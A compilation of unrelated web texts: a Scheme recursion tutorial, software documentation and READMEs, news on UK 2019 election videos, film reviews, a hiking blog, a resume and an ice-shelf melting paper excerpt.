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We suggest the best QnA website for developers.
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Simple Recursion
A recursive procedure is a procedure which applies itself. In C# recursion is possible, but generally iteration is the preferred idiom. Scheme is a languages designed to be good at recursion, and since it doesn't have iteration it is in fact the only way.
In Scheme you can learn a lot about recursion, using a tiny subset of the language; an approach exemplified by the Little Schemer. The basic bits you need are:
| Command | What it does |
|---|---|
| (quote x) | returns x, normally (quote x) is abbreviated to 'x. |
| (car l) | returns the first element of a list, l. |
| (cdr l) | returns the list l, except for it's first element. |
| (cons e l) | pushes e onto the front of the list, l. |
| (cond (p1 e1)....(pn en)) | Conditional expression. The p expressions are evaluated in order until one of them returns true. When one is found the corresponding e expression is returned. |
| (null? l) | returns true (#t) if the list l is empty, false (#f) otherwise. |
| (eq? a b) | returns true (#t) if a and b are equal, false (#f) otherwise. |
Most recursive procedures should have at least two basic elements, a base case and a recursion step. Consider these examples:
The procedure member? takes 2 arguments, a symbol, e, and a list, lst. It returns true if e is in the list, otherwise returns false.
(define member?
(lambda(e lst)
(cond
((null? lst) #f)
((eq? e (car lst)) #t)
(else (member? e (cdr lst))))))
The procedure insert-right takes 3 arguments, new, old and lst. It inserts new into lst to the right of the first occurance of old.
(define insert-right
(lambda (new old lst)
(cond
((null? lst) '())
((eq? old (car lst)) (cons old (cons new (cdr lst))))
(else (cons (car lst) (insert-right new old (cdr lst)))))))
The procedure any? takes a list of booleans as an argument. It returns true if any are true, otherwise returns false.
(define any?
(lambda (lst)
(cond
((null? lst) #f)
((car lst) #t)
(else (any? (cdr lst))))))
The procedure reject takes two arguments a predicate test? and a list lst. It returns a new list of items which fail test?
(define reject
(lambda (test? lst)
(cond
((null? lst) '())
((test? (car lst)) (reject test? (cdr lst)))
(else (cons (car lst) (reject test? (cdr lst)))))))
The Little Schemer summarises it's rules for writing recursive procedures as commandments:
- First Commandment - When recurring on a list, lst, ask two questions about it: (null? lst) and else.
- Second Commandment - Use cons to build lists.
- Third Commandment - When building a list, describe the first typical element, and then cons it on to the natural recursion.
- Fourth Commandment - Always change at least one argument while recurring. When recurring on a list, lst, use (cdr lst). It must be changed closer to termination. The changing argument must be tested in the termination condition. When using cdr test termination with null?
You can download the code with tests here.


Articles
-
George H. Bush:Mikhail Gorbachev :: Magnus Carlsen:Fabiano Caruana
December 15, 2018
Chess for geopolitics is an overworked metaphor. It seems to be capturing the way in which geopolitics is a game played by the people in high towers, combining a war from the tactictal to the operational to the strategic with a staring contest between two equavalently equipped opponents. Leaving aside the many aspects of geopolitics that are emphatically not well reflected in chess, I don’t find even these aspects to be universally available in geopolitics. However, in the specific case of the Cold War, maybe it’s not so bad.
-
Partial Dependence Plots in Python
December 2, 2018
In writing my undergrad thesis on wealth inequality and using various techniques for predicting it, I found myself disappointed that there was no simple method in Python’s scikit-learn to generate partial dependence plots for random forests. The ability to create partial dependence plots for gradient boosted regressors exists, so why not for random forests, or anything else for that matter? In this post, I’ll discuss partial dependence plots, what they are, how they’re useful in ensemble methods, and dive into the state of the art for partial dependence plots in Python.
-
Partial Dependence Plots in Python
December 2, 2018
In writing my undergrad thesis on wealth inequality and using various techniques for predicting it, I found myself disappointed that there was no simple method in Python’s scikit-learn to generate partial dependence plots for random forests. The ability to create partial dependence plots for gradient boosted regressors exists, so why not for random forests, or anything else for that matter? In this post, I’ll discuss partial dependence plots, what they are, how they’re useful in ensemble methods, and dive into the state of the art for partial dependence plots in Python.


FTP Library Package 2.1 for Tcl/Tk Manual Pages
If the directory was successfully created, then the command returns 1, if it fails 0.
# create directory ftp::MkDir $conn /incoming/newdir # or ftp::Cd $conn /incoming ftp::MkDir $conn newdir
[Contents] [Previous: ftp::Newer] [Next: ftp::RmDir]


David Gauke's video twist adds to list of election funnies even if they weren't all intentional
David Gauke has taken an unconventional approach to election campaign videos and decided to inject some humour into proceedings ahead of December 12.
Instead of sticking to a standard format, listing his party's pledges and persuading voters to choose him, the Independent candidate for South West Hertfordshire recruited someone closer to home.
The video begins with the former Tory minister explaining that long-standing Conservative supporters who are "unhappy with the direction" of the party are looking to vote elsewhere.
At that point he introduces Jim, a “dismayed longstanding Conservative” who Mr Gauke says is now backing him.
- General Election 2019: What you need to know today
- The Conservative manifesto: Oven-ready but more modest fare
- Alastair Campbell tells ITV News he'll campaign for ex-Tory MP David Gauke
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Jim explains he has voted Conservative for the last 50 years and has always been a "middle of the road, One Nation and liberal-minded" Tory.
But he decided to switch political allegiance and is now backing the former Conservative minister.
Jim adds that if he were living in Mr Gauke’s constituency, he would “certainly” vote for him.
But all is not as it seems, because at this point in the video, Mr Gauke reveals the twist in the video, as he replies: “Thanks Dad,” revealing Jim to be his father and Jim adds: "You are welcome son."
The video has been welcomed on social media, with users praising the politician for "the best GE video so far" and for "raising a smile".
So far, the video has had more than 355,000 views and almost 1,000 retweets.
But Mr Gauke is not the only one to get creative with his General Election campaign video.
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Labour candidate Dr Rosena Allin-Khan took inspiration from the Christmas movie Love Actually for her video.
She recreates the now iconic scene when Andrew Lincoln's character declares his love for Juliet, played by Keira Knightley.
But in the Dr Alli-Khan version, she declares, "with any luck, next year I'll be your MP."
And lists Labour's manifesto pledges, including the party's commitment to the NHS, education and policing, eventually persuading the voter to switch from being a Tory supporter to backing her.
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While Tory candidate George Freeman's video went viral after BBC News producer Callum May retweeted it with the caption 'Worst. Burlesque. Ever.' in reference to the two rosettes, unfortunately placed.
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And Health Secretary Matt Hancock was teased for his election campaign video, in which his head was perfectly aligned with a tree in the background, making it appear as if he had the hair of Art Garfunkel.
Many took to social media to point out the unfortunate angle, with one user writing "Tonight Matthew, I am Art Garfunkel" and another said "Matt Hancock appears to be sporting a brave new haircut."
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THE HORSEMAN ON THE ROOF A film review by Mark R. Leeper Copyright 1996 Mark R. Leeper
CAPSULE: A tale of adventure and love in the time of cholera. An Italian revolutionary and a beautiful and wealthy French woman, each with a mission, repeatedly encounter and help each other in 1832 France. Jean-Paul Rappeneau gives us a high-spirited, yet solid historical adventure that excites but never goes over the top into swashbuckling. Beautifully filmed and nicely acted. Rating: +2 (-4 to +4)
It is 1832 and the threat of Napoleon is over. Still Italy knows no peace. Twelve years earlier, inspired by a revolt in Spain, the Neapolitans arose and forced King Ferdinand I to give the country a constitution. A congress of European governments, meeting at Troppau and Laibach, decided it must discourage all such revolutions, which might, after all, spread to other countries. The Congress gave Austria a mandate to march into Italy and to restore things to the way they had been before the constitution. Their rule was marred by uprisings, not surprisingly, including a 1821 Piedmont revolution put down in less than a month by forces of royalists and Austrians. The 1831 uprisings in Modena and Parma met a similar fate. But uprisings against the royalist government and especially the invading Austrians continue. Many ranking officers in the various rebellions find things a bit hot for them in Italy and find sanctuary in France. They were also finding support from like-minded Frenchmen, disillusioned with their own king Louis Philippe. He had been chosen as King in part for his liberal viewpoints. The reality disappointed the people, however, after the new king had ruthlessly put down a workers rebellion in Lyon the previous year.
Angelo Pardi (played by Olivier Martinez), an officer in the Revolutionary Army, is in France with gold collected there that will help finance revolution ... if he can get it back to his country intact. Austrian agents are also in France, hunting down the enemies of the Italian royalist government. The French are generally sympathetic, but just now they have an even more frightening and implacable enemy. One that can strike at anyone, highborn or commoner equally. An epidemic of cholera haunts the land. And making the situation even more dangerous, the people hold any number of strange ideas of what causes and what prevents the disease. Any stranger might be accused of being a well-poisoner and hung by angry mobs anxious to do anything that has any chance of protecting them from the disease. Pardi faces a double threat from the Austrians specifically looking for him and from the French who in their ignorance are looking to kill any strangers who may possibly be visiting this disease on them. On the run Pardi finds himself in the house of a beautiful aristocrat Pauline de Theu (Juliette Binoche). She hides him and helps him, little knowing that their paths would cross again multiple times. A good deal of what makes this film engrossing is its view of the medicine of the period. While that is not the primary focus of the story, it figures heavily in the plot, not unlike RESTORATION earlier this year.
Jean-Paul Rappeneau, who five years ago gave us his terrific adaptation of CYRANO DE BERGERAC gives us another delightful historical excursion, beautifully acted and photographed. Like CYRANO, HORSEMAN has a clever wit that shows itself at odd and unexpected moments. There are a few enjoyable digs at the aristocracy of France. One particularly enjoyable scene involves the reactions at a dinner party to Pauline's recent past. It should be noted that this film takes place in a France that the previous year had produced the novel NOTRE DAME DE PARIS (bearing little similarity to an animated film to be based on it near the end of the next century) and the film even makes some mention of Victor Hugo. The cast will be mostly unfamiliar to American audiences, though Juliette Binoche will be familiar for roles in THE UNBEARABLE LIGHTNESS OF BEING and BLUE. Binoche has the sort of exquisite demure beauty that seems to be a staple of French films. However her role rarely calls for her to show much versatility. Martinez is moderately the more interesting of the two actors lead actors, but perhaps because his role is better written. There is also a small role for Gerard Depardieu who also does not get a chance to show much range. Martinez has the greatest opportunity to act except for a sequence for Binoche toward the end of the film.
With the exception of a modest resurrection of the Western it has become very rare to see American films set prior to World War II. Most serious historical films these days are coming from Europe. The same Hollywood that made great films like QUEEN CHRISTINA and THE SCARLET EMPRESS back in the 1930s now seems to shy away from historical settings, perhaps for fear of lack of interest. In any case, for those with no fear of subtitles, this may well be the most rewarding film of the summer. I give it a +2 on the -4 to +4 scale.
Mark R. Leeper<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


We broke up our climbing trip with a lot of walking. And to be fair, a lot of it was scoping out access to crags, but some of it (like the title shot above - The head of the Tasman Glacier in Aoraki-Mt. Cook National Park) was just very nice walking.
This is a short visual tour of the three (OK, 2.5) “Great Walks” we did on our trip. Short because my camera didn’t come out much.
Kepler Track
The Kepler Track starts just South of the village of Te Anau and on the shores of Lake Te Anau, in Fiordland National Park. A flat lakeside walk at the beginning and end very much broken up by a mountain pass in the middle. About 60km long the walk is usually done in 3 or 4 days. We’d planned 3 days, with the first day starting around 4pm.
I spent most of my time in Te Anau wondering how on earth to pronounce it. It’s tea an-now.
The first day for us was 17km into Brod Bay - It was originally going to be about 5km, but we had a tip at the DOC office that we could drive into the track further south to make the first day less silly (and, more importantly, knock the last day down from a worrying 30km). An easy and beautiful walk through Beech Forest on the side of the lake had us into Brod Bay shortly before sunset to set up camp and feast by the side of the lake, while sandflies feasted upon us.
During the evening we started wondering at the idea of finishing the Kepler Track early so we’d have an additional day to attempt the Routeburn Track - Camping sites on the Routeburn had booked out for the duration of our visit so we couldn’t do the full track, but an extra day would give us room to walk in for half a day and then walk out the same way.
I thought walking 45km with packs, including crossing a mountain pass, seemed like a ludicrous idea - But the consequences were insignificant so we may as well give it a shot.
The next day started and we were still enthusiastic, so off we set. The next three photos are from the walk up Luxmore Pass, unfortunately the camera didn’t come out for the remainder of the trip. But we did it, almost crawling back to the car at 9.30 that night.
After hobbling back to the car we started driving toward Milford Sound and a campsite nearer the start of the Routeburn Track, both feeling like we’d awake too exhausted to attempt the Routeburn the next morning, but neither willing to admit it.
Routeburn Track
We awoke feeling surprisingly well and so, after a big breakfast and several coffees, made our way to the start of the Routeburn Track. Routeburn is a 30km end-to-end walk, so we were hoping to walk in from the Western (Fiordland) end to about the halfway point and then turn around, returning to the car that evening.
The walk started very steeply, rising high above the surrounding landscape but remaining a little below the tree line until shortly before our turnaround point.
With legs more tired than usual, we decided to stop for morning tea at a slightly wide and only slightly muddy section of track. Less than two minutes after we started walking again we came upon a large, open rocky area where dozens of people had stopped to rest and take in the scenery.
We stopped for lunch at the second hut on the track, checking the weather forecast and deciding on a plan while we were there. The main range of Routeburn lay just ahead of us, so we agreed to continue walking for about an hour in the hope that we’d approach the top of the Burn and be rewarded with sweeping views of the surrounding ranges.
Mere minutes after our agreed turnaround time we made it to the top of the range - Which, it turned out, was more or less the exact halfway point of the track.
By the time we returned to the car we were both very tired (again), and thankful that the next two days were scheduled to be very decadent, with an overnight cruise on Doubtful Sound being the only item on the agenda for tomorrow.
Tongariro Northern Circuit
The penultimate destination for our trip - prior to a couple of days climbing at Whanganui Bay - was a flight into Auckland and quite a long drive down to Tongariro National Park.
The Northern Circuit is a loop stretching a little over 60km, normally done in four days and including the Tongariro Crossing, a popular day walk passing “Mt. Doom” (Mt. Ngauruhoe in real life) and some astonishing-coloured volcanic lakes (no photos of those because it was raining when we passed them).
The landscape through the crossing was very alien and barren, and the very steep Mt. Ngauruhoe nothing but a deep pile of very loose shale and various-sized rocks.
Heavy cloud cover rolled in on our way up Ngauruhoe and settled in for the day - We were soon facing strong alpine winds, rain and extremely low visibility - And so the only subsequent photos we got of or from Ngauruhoe were from the other side of the mountain at the end of the circuit.


An entity component framework for JavaScript used to organize game objects in game development. This library can be used for other purposes however. The library is designed to be used in browser applications however support for node.js might be considered in the future. For more information about what an entity component system is, please see this write-up: https://github.com/junkdog/artemis-odb/wiki/Introduction-to-Entity-Systems
Main features of this library includes:
- Processors keeping an updated list of the entities they are interested in, for fast access each frame.
- Entity and component observers can be added to know when entities or components are added and removed.
- Safe removal. Removed entities are not destroyed (just flagged) until after a processor is done updating, to avoid invalid references.
Installation
Copy the file js/ecs.js
into your document structure for the non-minified version.
Copy the file build/ecs.min.js
into your document structure for the minified version.
Usage
A simple usage example:
var Component =
{
some_variable: 10,
some_data: 'some default value'
};
function ExampleProcessor(entityManager)
{
this.entityManager = entityManager;
}
ExampleProcessor.prototype.update()
{
// update is a required function for processors.
var entities = this.entityManager.getEntitiesByProcessor(this);
for (var i = 0; i < entities.length; i++)
{
var component = this.entityManager.getComponent(entities[i], 'Component');
component.some_variable++;
}
}
var entityManager = new ECS.EntityManager();
entityManager.registerComponent('Component', Component);
var processor = new ExampleProcessor();
entityManager.registerProcessor(processor, ['Component']);
var entity = entityManager.createEntity(['Component']);
var component = entityManager.getComponent(entity, 'Component');
component.some_data = 11;
component.some_data = 'Hello world';
// This should be done once per frame.
entityManager.update();
Building and compiling the documentation
This project uses grunt for build automation and npm for dependency management. The CLI for grunt will need to be installed:
npm install -g grunt-cli
The build dependencies for the project can be installed by executing the following in the project directory:
npm install --dev
The project can then be built (linted, tested and minified) by executing:
grunt
The documentation can be compiled by executing:
grunt jsdoc


The JSON data currently has the format shown below.
Each entry in the outer array is a single distinct set of device features
(array of "extensions"
plus hash of implementation-dependent "limits"
).
Each feature set is associated with an array of "devices"
.
For each of those devices, we have received a report containing that particular feature set;
this is effectively just a compression mechanism so we don't have to duplicate the entire
feature set description when dozens of devices have identical features.
Each device has an "os"
("Windows"
, "Linux"
, "OS X"
),
a "renderer"
(from GL_RENDERER
),
a "vendor"
(from GL_VENDOR
),
and a "driver"
(typically derived from the appropriate DLL on Windows,
or sometimes a list of lots of DLLs if we can't figure out which is appropriate,
or derived from the full GL_VERSION
string on Linux).
[ { "devices": [ { "driver": "<IP_ADDRESS>94", "os": "Windows", "renderer": "AMD 760G", "vendor": "ATI Technologies Inc." } ], "extensions": [ "GL_AMD_performance_monitor", ... "WGL_EXT_swap_control" ], "limits": { "GL_ALIASED_LINE_WIDTH_RANGE[0]": "1", ... "GL_VERTEX_PROGRAM_ARB.GL_MAX_PROGRAM_TEMPORARIES_ARB": "160" } }, { "devices": [ { "driver": "<IP_ADDRESS>57", "os": "Windows", "renderer": "AMD M880G with ATI Mobility Radeon HD 4200", "vendor": "ATI Technologies Inc." }, { "driver": "<IP_ADDRESS>79", "os": "Windows", "renderer": "AMD M880G with ATI Mobility Radeon HD 4250", "vendor": "ATI Technologies Inc." }, { "driver": "3.3.10188", "os": "Linux", "renderer": "ATI Mobility Radeon HD 3400 Series", "vendor": "ATI Technologies Inc." }, { "driver": "<IP_ADDRESS>51", "os": "Windows", "renderer": "ATI Mobility Radeon HD 3400 Series", "vendor": "ATI Technologies Inc." }, ... ], "extensions": [ "GL_AMDX_debug_output", ... "WGL_EXT_swap_control" ], "limits": { "GL_ALIASED_LINE_WIDTH_RANGE[0]": "1", ... "GL_VERTEX_PROGRAM_ARB.GL_MAX_PROGRAM_TEMPORARIES_ARB": "160" } }, ... }


{% extends 'noos_viewer/base.html' %} {% block title %}Password reset confirmation{% endblock %} {% block body_block %} {% if validlink %}
Please enter your new password twice so we can verify you typed it in correctly.
The password reset link was invalid, possibly because it has already been used. Please request a new password reset.


Akshay Prakash Joshi,
M.S in Computer Science
I work as a Site Reliability Engineer at Marketo.
I work as a Site Reliability Engineer at Marketo.
C++, C, Python, C#.NET, javascript, AngularJS, SQL, COBOL
HTML5/CSS, Bootstrap, jQuery,XML, AJAX
Ubuntu, HP-UX 11.11, Kali, CentOS, Mac OSX, Windows 07, 10, Windows server 2012 R2
SQL DB, MongoDB, DynamoDB
BGP, DNS, TCP/IP, VLANS, DHCP, creating and managing VPCs


VERTICAL LIMIT A film review by Christopher Null Copyright 2000 filmcritic.com filmcritic.com
After suffering through an airline showing of The Perfect Storm, I could think of no better way to spend the evening than with another Man vs. Nature story in 2000's take on the genre, Vertical Limit.
As the thrill-packed trailer might already have cued you, this is an action-filled mountaineering movie, with Chris O'Donnell as Peter Garrett, the unlikely hero trying to save his stranded sister Annie (Robin Tunney) from certain death atop K2, the second-highest place on earth. How'd she get there? Glad you asked... three years after a family tragedy sends Annie on a perpetual climbing quest and Peter grounded on earth, the siblings meet up again at the base of K2, where a Texas billionaire (Bill Paxton) is ascending the peak as a publicity stunt with Annie in tow. Naturally, we learn you can't mess with Mother Nature for profit, and the climbing team ends up stuck in a crevasse only a few hundred feet from the summit -- beaten up, but alive. Barely.
 After recruiting resident weirdo/chip-on-his-shoulder-character Montgomery Wick (Scott Glenn) and some other local rabble, it's a race against time to save the smarmy billionaire and/or the innocent girl. Wonder who'll get saved, dontcha?
Oddly, Vertical Limit has very little going against it... and very little in its favor. So much of the film feels familiar, drawn from Cliffhanger (though it desperately tries to avoid that comparison, but fails) -- from the setting to the hokey jokes drawn from yesterday's e-mail lists to some rather obvious plotting. We've even seen Paxton take on the elements before (in Twister). That he's the bad guy here doesn't seem to make much difference to the picture's originality. The movie isn't bad by any stretch, but it's just so plain that it will find a rough time attracting a thrill-seeking audience on a crowded holiday weekend.
About all that is worth noting here is the attempt at remaking the boy next door, Chris O'Donnell, as an action star. It worked for Will Smith, right? O'Donnell, and I love the guy to death, is such a cute little fella that you can totally buy him as Robin Tunney's brother, if only Robin Tunney lived in Poughkeepsie and her cat was stuck in a tree and, well, Chris had to climb the daunting 15 feet up there to get it. But O'Donnell at 26,000 feet is a contrivance that I doubt anyone is going to buy, despite throwing the poor guy into way-over-the-top action scenarios (you've seen the jumping-over-the-chasm clip by now), all of which come out of nowhere as a platform for him to strut upon. Sorry Chris, get thee back to Circle of Friends.
Overall, the movie is capably directed, poorly edited, and acted with gusto. Aside from this, it bears mention that Vertical Limit is extremely (and surprisingly) gruesome and far too long, with too many side stories and too few that don't suddenly end with an avalanche (seriously). Whether you like the movie or not, one thing's for sure: After seeing Vertical Limit's spine-tingling opening, you won't be in any hurry to rush up your local cliff-face. Hell, I'm even trying to keep away from the stairs.

The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


|
Vector-Synthesizer
1.5
A Vector-Synthesizer like the Prophet VS!
|
Manages incoming midi messages and handels all keys (voices). More...
#include <midi2KeyHandler.h>
Public Member Functions | |
| Midi2KeyHandler () | |
| Midi-Key-Handler with default parameters applied. | |
| void | mapMidi (MidiMan::midiMessage m) |
| Processes incoming midi messages. More... | |
| void | onKeyPressed (int keyNumber, float velocity, float frequency) |
| Activates a new key in the key-array. More... | |
| void | onKeyReleased (int keyNumber, float velocity) |
| De-activates the key in the key-array. More... | |
| void | getNextSampleBuffer (float *buffer, int frames) |
| Fills the audio-out buffer with new samples. More... | |
Public Attributes | |
| float | alpha |
| Determines the wave-mix of square- and custom-wave. | |
| float | beta |
| Determines the wave-mix of saw- and triangle-wave. Always equal to alpha, only used for better understanding. | |
| float | gamma |
| Mixes the two wave mixes to one signal. | |
Manages incoming midi messages and handels all keys (voices).
Messages from the midiMan-class are managed and changes in parameters are set in all keys. This class holds an array of keys and keeps track on pressed/released keys. Volume LFO and Cut-off LFO are applied on this level.
Contact: c.jae dick e@mat h.tu -berl in.d e
| void Midi2KeyHandler::getNextSampleBuffer | ( | float * | buffer, |
| int | frames | ||
| ) |
Fills the audio-out buffer with new samples.
| buffer | Pointer to the audio-buffer |
| frames | Size of the buffer |
Iterates through all keys and adds up the new sample value. Volume LFO is applied in a last step. Cut-off LFO is handed to each key.
| void Midi2KeyHandler::mapMidi | ( | MidiMan::midiMessage | m | ) |
Processes incoming midi messages.
| m | Midi message |
This method maps incoming midi messages to their corresponding parameters and keys. This method is optimized for input from the cme Mobiltone U-Key (Keyboad Controller) and M-Audio Trigger Finger (Pad).
| void Midi2KeyHandler::onKeyPressed | ( | int | keyNumber, |
| float | velocity, | ||
| float | frequency | ||
| ) |
Activates a new key in the key-array.
| keyNumber | The key number in the midi message |
| velocity | The velocity applied to the key |
| frequency | The frequency corresponding to this key number |
If no key is available nothing happens, change numberOfKeys to get more keys.
| void Midi2KeyHandler::onKeyReleased | ( | int | keyNumber, |
| float | velocity | ||
| ) |
De-activates the key in the key-array.
| keyNumber | The key number in the midi message |
| velocity | The velocity applied to the key |
De-activates the key with corresponding keyNumber.


{{define "title"}}Skypraisal - API Documentation{{end}} {{define "content"}}
This is a tool for Eve Online aimed at being able to quickly price check items in bulk.
2019-01-24 - moved to latest go-evepraisal
Prices calculated from recent market data from Eve Online's ESI API. Items with low (or no) market volume use CCP's pricing estimates.
Purple rows are items that Skypraisal had a hard time finding an accurate and current price for. This is usually caused by low (or no) market volume for that item.
Currently, logging in gives your own personal history of appraisals. It also removes the banner advertisemenet that is placed on the bottom of each page. I plan to add the ability to remove appraisals and more customization/settings that will be persisted with your user.
Yes! A very simple one, but it will probably get you what you want. Click here to see the API Documentation.
I get a lot of mail so I don't have the time to respond to everyone.


This installation occupies the entry corridor into the 21c Hotel in Kansas City. Spanning roughly 40 feet, bars of light are placed facing the viewer. From the entrance of the corridor, the bars all appear to be the same size. As a viewer progresses down the corridor, however, they discover that it is a trick of perspective. At random intervals, the installation performs a subtle shift of color pallette, creating a simulated daylight cycle.
My responsiblities included providing consulatation on hardware selection and wiring architecture, as well as programming the installation. I repurposed an architectural controller already owned by the studio to control everything. We wanted behaviors that were beoynd the stock capabilities of the controller, so I wrote some custom scripts for image processing and fade animations. We built a full-scale test rig in the studio and spent several days viewing various options for animation characteristics and color pallettes. Once in Kansas City, I completed the electrical end of the installation.
This project runs on a Pharos Lighting Playback controller. Each LED bar has an architectural 16-bit DMX LED driver attached to it. Both the drivers and the LED products were selected for the quality of color rendering and smoothness of color fades.
The code for color sampling is written in LUA, and encapsulated by the controller's own environment which handles timing and DMX output.
Visual Design: Luftwerk
Technical Design: Andy Kauff
Photography: Mike Schwartz
Commissioned by: 21c Museum
Chief Curator: Alice Gray Stites
From a design perspective, this installation doubled as the primary lighting source for the entry corridor. This placed some immediate practical needs that had to be worked into the character of this installation. In addition to the practical needs, the placement of this piece in a corridor informed other aspects of the animation and timing, as guests experience it in a linear way over a limited period of time.
Technically, the programming environment in the provided controller imposed some limitations that required some creative workarounds. Without the ability to load in modules, LUA has a fairly bare feature set. The software for the controller expects to call single scripts in isolation with limited access to the file system. I created a few tools in Python that allowed me to break the images into data that was more usable in this environment.


--- layout: post title: 'Ep 21: Techlahoma - User Groups, Lightning Talks, and ThunderPlains' date: 2017-12-28 11:02:16.000000000 -06:00 type: post parent_id: '0' published: true password: '' status: publish categories: - Podcast tags: [] meta: _oembed_17eb3ec3e05c0576a598b3623f2a0a32: _oembed_time_17eb3ec3e05c0576a598b3623f2a0a32: '1514480339' _edit_last: '1' slide_template: default _at_widget: '1' _yoast_wpseo_title: 'Ep. 21: Techlahoma and Thunderplains %%sep%% %%sitename%%' _yoast_wpseo_metadesc: We chatted with Jesse and Amanda Harlin, founders of Techlahoma, a 501c3 non-profit whose mission is to advance Oklahoma's grassroots technology community. _yoast_wpseo_content_score: '30' fw:opt:ext:pb:page-builder:json: "[]" fw_options: a:7:{s:12:"page-builder";a:2:{s:4:"json";s:2:"[]";s:14:"builder_active";b:0;}s:9:"title_bar";s:7:"default";s:15:"footer_settings";s:7:"default";s:12:"header_style";a:2:{s:6:"option";s:0:"";s:11:"transparent";a:2:{s:16:"background_color";s:21:"rgba(255,255,255,0.3)";s:12:"border_color";s:0:"";}}s:12:"social_icons";s:0:"";s:12:"contact_info";s:0:"";s:12:"slider_above";a:2:{s:6:"option";s:2:"no";s:3:"yes";a:2:{s:5:"slide";s:1:"c";s:13:"scroll_effect";a:1:{s:6:"option";s:0:"";}}}} _yoast_wpseo_primary_category: '39' _thumbnail_id: '1334' dsq_thread_id: '6377678570' _yoast_wpseo_post_image_cache: a:0:{} author: login: kyletaylored email<EMAIL_ADDRESS>display_name: Kyle Taylor first_name: Kyle last_name: Taylor ---
This week we talked to two co-founders and board members (Jesse and Amanda Harlin) of Techlahoma, a Oklahoma based 501c3 non-profit whose mission is to advance Oklahoma's grassroots technology community. They organize 33 free monthly user groups and several annual conferences.
Show Notes:
How to reach Techlahoma:
Jesse Harlin - twitter.com/5imian
Amanda Harlin - twitter.com/amandaharlin
https://soundcloud.com/techmilldenton/ep-21-techlahoma-user-groups-lightning-talks-and-thunderplains


Welcom to Javascript Cinemas
Please select your age,movie you'd like to see and a showtime.
Age
Child: under 17
Adult: 18 to 64
Senior: 65 and over
Movie
The end of time
The little dinosaur
Ground Zero
Showtime
1500
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2130
Submit
You are seeing
at this time
and your ticket price is
enjoy the show!


Date: {{courseSession.startDate | date}} To {{courseSession.endDate | date}}, Day of Week: {{courseSession.daysOftheWeek | dayofweek}}
{{course.description}}


The tag IDs on the image as returned from the API
The aspect ratio of the image
When the image was uploaded to the site
The description of the image on Derpibooru, if any
The number of downvotes on the image
The number of favorites on the image
The filename of the original uploaded image
When the image was first seen
The height of the image
The internal ID of the image
Whether the image has finished being optimized by Derpibooru
Whether the image has been rendered by Derpibooru
The MIME type of the image
The format the image was originally in before being uploaded to Deribooru
The different possible representations of the image
The total score on the image
The current SHA-512 hash of the image
The SHA-512 hash of the original image without optimizations
The source of the image, if specified by the uploader
Gets a list of tag names on the image
When the image details were last edited
The ID of the user that uploaded the image
Use this instead of (await uploader()).id to save an HTTP request and make the Derpi admins happy
The name of the user that uploaded the image
Use this instead of (await uploader()).name to save an HTTP request and make the Derpi admins happy
The number of upvotes on the image
The width of the image
Gets the name of the artist of the image
Returns null if the image has no artist
The tags on the image, represented as a comma-separated string for convenience
Gets the comments on the image
The page number of comments to fetch (max appears to be total / 20 for non-logged-in users)
Gets the tags on the image
A Promise wrapping the tags on the image
Gets the user that uploaded the image
A Promise wrapping the uploader's details
Generated using TypeDoc
Represents a single image
Image


col format
information from file format list 2.0 by max maischein. a col file stores the rgb values for entries in the color palette. both animator pro and the original animator produce col files, but the formats are different. to process a col file for input, check the file size. if it is exactly 768 bytes, the file is an original animator col file. if the file is any other size, it is an animator pro col file - which makes identification almost impossible. animator pro col files do have a 8-byte header : offset count type description 0000h 1 dword file size, including this header 0004h 1 word id=0b123h 0006h 1 word version, currently 0 following the file header are palette entries in rgbrgb... order. each of the r, g, and b components is a single byte in the range of 0-255. generally, there will be data for 256 palette entries, but this cannot be assumed. the actual number of palette entries is ((size-8)/3); if this value is not an even multiple of three, the file is corrupted. original animator col files a col file created by the original animator is exactly 768 bytes long. there is no file header or other control information in the file. extension:col occurences:pc programs:autodesk animator, autodesk animator pro see also:flic,flt |


We show melting responds rapidly and linearly to the thickness of the relatively warm MCDW layer (Fig. 2b) present at the ice front. Cross-shelf exchange displays intrinsic variability but low correlation with melting, suggesting that intrinsic variability in melting results from local processes like wind-driven changes to the MCDW layer thermocline depth, rather than cross-shelf exchange. Comparison of the COREv1 (intrinsic ocean variability) run to a sensitivity study where the interannual intrinsic ocean variability is removed from the lateral boundary conditions, shows that indeed the variability that impacts the supply of ocean heat to the ice shelf cavity is generated within our model (see Supplementary Fig. 3). We can speculate that the non-linear ocean processes that generate such intrinsic ocean variability could include long-period baroclinic instabilities, which when subject to essentially stochastic winds, give rise to variability in ocean properties across a wide band of frequencies. This includes low-frequency modulation of the thickness of the MCDW layer on the continental shelf.
The chosen surface and lateral boundary conditions mean that any model variability with a period of greater than one year must be intrinsic ocean variability that is generated within the model, or imported through the Northern, Eastern and Western lateral boundaries (see Supplementary Figs. 4– 6). Intrinsic variability in melting occurs underneath the entire ice shelf with a maximum range of ~1 m yr −1 (Fig. 3b). The period of variation is multimodal but has dominant periods of ~3 and ~7 years (Fig. 3f, i). The presence of intrinsic variability is weakest at the shallow ice front, which is most susceptible to seasonal sea ice and wind processes, and is stronger at depth (Fig. 3k–m). Up to 44% of 1–5 year variability and up to 21% of 5–10 year variability in melt rate results from intrinsic processes.
The in-phase response and high degree of variability that is explained by melt EOF1 suggests that cavity waters rapidly adjust to ocean heat entering this relatively small volume (Fig. 3d). Furthermore, the coherent response suggests that a reasonably representative assessment of basal melting can be obtained with few observations. The in-phase response also makes basal melting beneath TIS a good candidate for data assimilation and for parameterisation into an ice sheet model.
The high degree of variability in basal melting that results from intrinsic modes present in the 1–5 year time band (up to 44%) could contribute to the ~3–4 year period variations observed in TIS thickness 2. Futhermore, the 5–10 year modes (explaining up to 21% of variation) likely contribute to the measured decadal period variations in flux 3 and surface velocity 4.
